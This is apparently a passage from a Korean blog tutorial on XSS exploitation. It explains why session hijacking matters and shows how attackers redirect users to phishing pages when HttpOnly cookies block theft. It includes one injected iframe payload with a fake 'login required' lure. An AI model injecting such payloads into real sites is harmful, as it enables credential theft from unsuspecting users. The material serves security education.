์œ„์˜ ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ๋„ ๋ณด๋ฉด, ๊ด€๋ฆฌ์ž๊ฐ€ ๊ด€๋ฆฌ์ž ํŽ˜์ด์ง€์˜ ํƒญ(Tab)์„ ๊ป๋”๋ผ๋„, ํ•ด๋‹น ์ฟ ํ‚ค๊ฐ€ ์‚ด์•„ ์žˆ๋Š” ๊ฒฝ์šฐ ๋‚ด๋ถ€์˜ ์„ธ์…˜ ๊ฐ’์ด ๊ทธ๋Œ€๋กœ ์‚ด์•„ ์žˆ๊ฒŒ ๋œ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

์„ธ์…˜์— ๋Œ€ํ•˜์—ฌ ํƒ€์ž„์•„์›ƒ์„ ์„ค์ •ํ•˜๊ฑฐ๋‚˜ (Session Timeout), ์‚ฌ์šฉ ํ›„์—๋Š” ๋กœ๊ทธ์•„์›ƒ์„ ๊ถŒ์žฅํ•˜๋Š” ๋“ฑ์˜ ๋‹ค์–‘ํ•œ ๊ถŒ๊ณ ์‚ฌํ•ญ์ด ์žˆ์„ ์ˆ˜ ์žˆ์ง€๋งŒ, ์ž˜ ์ง€์ผœ์ง€์ง€ ์•Š๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ๋‹ค. ๊ทธ๋Ÿฌ๋ฏ€๋กœ XSS ์ทจ์•ฝ์ ์„ ๋ณด์™„ํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•˜๋‹ค๊ณ  ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

 

ํ”ผ์‹ฑ(Phishing) ์‚ฌ์ดํŠธ ๋ฆฌ๋””๋ ‰์…˜(Redirection)

์ฟ ํ‚ค(Cookie)์™€ ์„ธ์…˜(Session)์— ๋Œ€ํ•˜์—ฌ HttpOnly๊ฐ€ ์„ค์ •๋˜์–ด ์žˆ๋Š” ๊ฒฝ์šฐ์—๋Š” ์„ธ์…˜ ํƒˆ์ทจ๊ฐ€ ์–ด๋ ค์šธ ์ˆ˜ ์žˆ๋‹ค. ์ด๋Ÿฐ ๊ฒฝ์šฐ ํ”ผ์‹ฑ(Phishing) ์‚ฌ์ดํŠธ๋กœ ๋ฆฌ๋””๋ ‰์…˜(Redirect)์‹œ์ผœ ํ•ด๋‹น ํŽ˜์ด์ง€์—์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ์›ํ•˜๋Š” ๊ฐ’์„ ์ž…๋ ฅํ•˜๋„๋ก ์œ ๋„ํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ์žˆ๋‹ค.

You need to login to use this page.<br></pre><iframe width=600 height=400 src="http://localhost/"></iframe>

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•˜๋Š” ๊ฒฝ์šฐ iframe ๋‚ด๋ถ€์— ์›น ํŽ˜์ด์ง€๋ฅผ ๋ถˆ๋Ÿฌ์˜ฌ ์ˆ˜ ์žˆ๊ณ , ํ•ด๋‹น ํŽ˜์ด์ง€๋ฅผ ์•Œ์•„์ฐจ๋ฆฌ๊ธฐ ํž˜๋“ค๊ฒŒ ๊ต๋ฌ˜ํ•˜๊ฒŒ ๋งŒ๋“ค์–ด ๋‘” ๊ฒฝ์šฐ, ํ•ด๋‹น ํŽ˜์ด์ง€์— ์ ‘์†ํ•œ ์ด์šฉ์ž๋Š” ์˜์‹ฌ์—†์ด ๋ณธ์ธ์˜ ์•„์ด๋””(Id) ์™€ ๋น„๋ฐ€๋ฒˆํ˜ธ(Passoword)๋ฅผ ์ž…๋ ฅํ•  ๊ฒƒ์ด๋‹ค. ํ•˜์ง€๋งŒ ํ•ด๋‹น ํŽ˜์ด์ง€๋Š” ํ”ผ์‹ฑํŽ˜์ด์ง€ ์ผ ๊ฒƒ์ด๋ฏ€๋กœ ์ž…๋ ฅํ•˜๋Š” ์ •๋ณด๋Š” ๊ณต๊ฒฉ์ž์—๊ฒŒ ์ „๋‹ฌ๋˜๊ณ , ํ•ด๋‹น ์ด์šฉ์ž์˜ ๊ณ„์ •์ด ํƒˆ์ทจ๋  ๊ฒƒ์ด๋‹ค.

http://localhost ๋กœ ์ ‘์†ํ•˜๋„๋ก ์œ ๋„ํ•œ ๊ฒƒ์œผ๋กœ, ํ•ด๋‹น ํŽ˜์ด์ง€๊ฐ€ ๋งŒ์•ฝ, ํ”ผ์‹ฑ ํŽ˜์ด์ง€์ด๊ณ  ์ž˜ ๋งŒ๋“ค์–ด์ ธ ์žˆ๋‹ค๋ฉด ์˜์‹ฌํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ๋‹ค.


์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜